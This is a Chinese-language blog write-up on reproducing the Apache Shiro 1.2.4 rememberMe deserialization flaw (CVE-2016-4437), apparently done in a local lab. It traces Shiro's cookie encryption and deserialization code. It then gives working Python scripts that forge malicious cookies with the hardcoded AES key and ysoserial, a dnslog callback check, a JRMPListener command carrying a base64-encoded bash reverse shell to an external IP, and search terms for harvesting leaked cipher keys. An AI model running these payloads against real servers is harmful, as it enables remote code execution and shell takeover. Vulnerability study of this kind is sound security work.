shrio1.2.4反序列化分析

1. 环境搭建

可以按照网上的教程git后修改xml,或者直接下载已经配置好的samples-web-1.2.4.war,可参考的链接为https://github.com/damit5/damit5.github.io/raw/master/2019/09/26/Apache-Shiro-RememberMe-1-2-4-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%E5%A4%8D%E7%8E%B0/samples-web-1.2.4.war,将该war包放入tomcat/webapps目录下,然后在浏览器中http://localhost:8080/samples-web-1.2.4直接访问。如果要进行代码查看和动态调试,将该war包用IDEA打开,mvn自动构建。配置项目的tomcat并添加war包。

2. 漏洞分析

Apache Shiro反序列化漏洞编号CVE-2016-4437,漏洞特征是rememberMe,存在版本Apache Shiro <= 1.2.4。


漏洞特征-rememberMe

Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密(硬编码)–>反序列化。
(1)RemeberMe加密过程
首先跟进下RememberMe值的加密过程,在org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin下个断点,然后点击debug开启tomcat服务。在web端登录账户root/secret,勾选上Remember Me的按钮,程序从断点处开始调试。

加密调试

首先调用forgetIdentity构造方法处理request和responese请求(加入cookie)->(如果勾选了rememberme选项,if(isRememberMe)进入条件)rememberIdentity处理cookie中的rememberme字段->getIdentityToRemember获取用户身份root->convertPrincipalsToBytes序列化root转成字节码并进行encrypt加密->encrypt()调用AES加密序列化后的root,其密钥由getEncryptionCipherKey得到->getEncryptionCipherKey():base64.decode("KPH+bIxk5D2deZiIxcaaaA==")->rememberSerializedIdentity()将序列化后的结果进行base64加密设置到cookie中

public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) {
    PrincipalCollection principals = this.getIdentityToRemember(subject, authcInfo);
    this.rememberIdentity(subject, principals);
}

protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
    byte[] bytes = this.convertPrincipalsToBytes(accountPrincipals);
    this.rememberSerializedIdentity(subject, bytes);
}
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
   byte[] bytes = serialize(principals);     //序列化principals
   if (getCipherService() != null) {
       bytes = encrypt(bytes);         //加密bytes
   }
       return bytes;
}
protected byte[] encrypt(byte[] serialized) {
    byte[] value = serialized;
    CipherService cipherService = this.getCipherService();
    if (cipherService != null) {
        ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());
        value = byteSource.getBytes();
    }
        return value;
}
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {
    if (!WebUtils.isHttp(subject)) {
        if (log.isDebugEnabled()) {
            String msg = "Subject argument is not an HTTP-aware instance.  This is required to obtain a servlet request and response in order to set the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";
            log.debug(msg);
        }

    } else {
        HttpServletRequest request = WebUtils.getHttpRequest(subject);
        HttpServletResponse response = WebUtils.getHttpResponse(subject);
        String base64 = Base64.encodeToString(serialized);
        Cookie template = this.getCookie();
        Cookie cookie = new SimpleCookie(template);
        cookie.setValue(base64);
        cookie.saveTo(request, response);
    }
}

(2)RememberMe解密过程
将断点打在org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity,然后发送一个带有rememberMe Cookie的请求。
getRememberedIdentity->getRememberedPrincipals:getCookie.readValue(),base64.decode提取cookie进行base64解码->convertBytesToPrincipals进行ASE解密并反序列化

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
    PrincipalCollection principals = null;
    try {
        byte[] bytes = this.getRememberedSerializedIdentity(subjectContext);
        if (bytes != null && bytes.length > 0) {
            principals = this.convertBytesToPrincipals(bytes, subjectContext);
        }
    } catch (RuntimeException var4) {
        principals = this.onRememberedPrincipalFailure(var4, subjectContext);
    }

    return principals;
}
 protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
    if (!WebUtils.isHttp(subjectContext)) {
        if(log.isDebugEnabled()) {
            String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a servlet request and response in order to retrieve the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";
            log.debug(msg);
        }
        return null;
    } else {
        WebSubjectContext wsc = (WebSubjectContext)subjectContext;
        if (this.isIdentityRemoved(wsc)) {
            return null;
        } else {
            HttpServletRequest request = WebUtils.getHttpRequest(wsc);
            HttpServletResponse response = WebUtils.getHttpResponse(wsc);
            String base64 = this.getCookie().readValue(request, response);
            if ("deleteMe".equals(base64)) {
                return null;
            } else if (base64 != null) {
                base64 = this.ensurePadding(base64);
                if (log.isTraceEnabled()) {
                    log.trace("Acquired Base64 encoded identity [" + base64 + "]");
                }
                byte[] decoded = Base64.decode(base64);
                if (log.isTraceEnabled()) {
                    log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
                }
                return decoded;
            } else {
                return null;
            }
        }
    }
}
public String readValue(HttpServletRequest request, HttpServletResponse ignored) {
    String name = this.getName();
    String value = null;
    javax.servlet.http.Cookie cookie = getCookie(request, name);
    if (cookie != null) {
        value = cookie.getValue();
        log.debug("Found '{}' cookie value [{}]", name, value);
    } else {
        log.trace("No '{}' cookie value", name);
    }
    return value;
}

private static javax.servlet.http.Cookie getCookie(HttpServletRequest request, String cookieName) {
    javax.servlet.http.Cookie[] cookies = request.getCookies();
    if (cookies != null) {
        javax.servlet.http.Cookie[] arr$ = cookies;
        int len$ = cookies.length;
        for(int i$ = 0; i$ < len$; ++i$) {
            javax.servlet.http.Cookie cookie = arr$[i$];
            if (cookie.getName().equals(cookieName)) {
                return cookie;
            }
        }
    }
    return null;
}
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    if (this.getCipherService() != null) {
        bytes = this.decrypt(bytes);
    }
    return this.deserialize(bytes);
}
protected byte[] decrypt(byte[] encrypted) {
    byte[] serialized = encrypted;
    CipherService cipherService = this.getCipherService();
    if (cipherService != null) {
        ByteSource byteSource = cipherService.decrypt(encrypted, this.getDecryptionCipherKey());
        serialized = byteSource.getBytes();
    }
    return serialized;
}
public T deserialize(byte[] serialized) throws SerializationException {
    if (serialized == null) {
        String msg = "argument cannot be null.";
        throw new IllegalArgumentException(msg);
    } else {
        ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
        BufferedInputStream bis = new BufferedInputStream(bais);
        try {
           ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
            T deserialized = ois.readObject();
            ois.close();
            return deserialized;
        } catch (Exception var6) {
            String msg = "Unable to deserialze argument byte array.";
            throw new SerializationException(msg, var6);
        }
    }
}

3. 漏洞利用

根据上述对漏洞代码的分析,梳理整个流程为读取cookie的rememberMe值,base64解码,AES解密并进行反序列化。由于AES解密的密钥为常量,可以手动构造rememberMe值并改造其readObject方法,使得在反序列化时可以任意执行操作,从而进行漏洞利用。payload参考了网上其他师傅的。

3.1 cookie生成

# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'D:\\payload\\ysoserial-master.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    with open("shrio_payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)
burp发包

根据实验可知此漏洞攻击时无回显,那么可以通过dnslog平台,使用ysoserial的URLDNS Gadget来检测。这种检测也可以解决系统环境复杂的问题。但是这里要注意解析会有ttl值缓存,检测时建议每次随机生成一个子域名。

3.2 URLDNS

#!/usr/bin/env python3
# coding:utf-8

from Crypto.Cipher import AES
import traceback
import requests
import subprocess
import uuid
import base64

target = "http://localhost:8080/samples_web_1_2_4_war/"
jar_file = 'D:\\payload\\ysoserial-master.jar'
cipher_key = "kPH+bIxk5D2deZiIxcaaaA=="

popen = subprocess.Popen(['java','-jar',jar_file, "URLDNS", "http://or4qfr.dnslog.cn"],
                        stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(cipher_key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

try:
    r = requests.get(target, cookies={'rememberMe':base64_ciphertext.decode()}, timeout=10)
except:
    traceback.print_exc()

如果成功检测到dns请求,说明命令执行成功。如图所示:


dnslog上收到的结果

3.3 JRMP

生成cookie的脚本如下,使用时参数传入ip:port。

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
 
def encode_rememberme(command): 
    popen = subprocess.Popen(['java', '-jar', 'D:\\payload\\ysoserial-master.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
 
if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
    print("rememberMe={0}".format(payload.decode()))

然后开启攻击机监听命令,因为此源码的war包中包含的Commons-Collections4,所以采用ysoserial中对应的payload版本,CommonsCollections2,参数传入反弹shell,以linux下的bash命令为例。http://www.jackson-t.ca/runtime-exec-payloads.html并在此网站下转换bash,其结果当做参数传入。

java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 1699 CommonsCollections2 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40My4zNi4xNTEvODA4MCAwPiYx}|{base64,-d}|{bash,-i}"

burp中发送生成的cookie,并监听bash所用的端口,连接shell。

3.4 key收集

另外在攻击时无法确定Key是否被修改。可以通过网络收集来获取key,例如通过github搜索关键词或文件路径:

securityManager.rememberMeManager.cipherKey
cookieRememberMeManager.setCipherKey
setCipherKey(Base64.decode
WEB-INF/shiro.ini
ShiroConfig.java
收集key

参考资料

常用搜索方法:
https://bacde.me/post/Apache-Shiro-Deserialize-Vulnerability/
相关分析:
https://paper.seebug.org/shiro-rememberme-1-2-4/
报错分析:
https://blog.zsxsoft.com/post/35

你可能感兴趣的:(shrio1.2.4反序列化分析)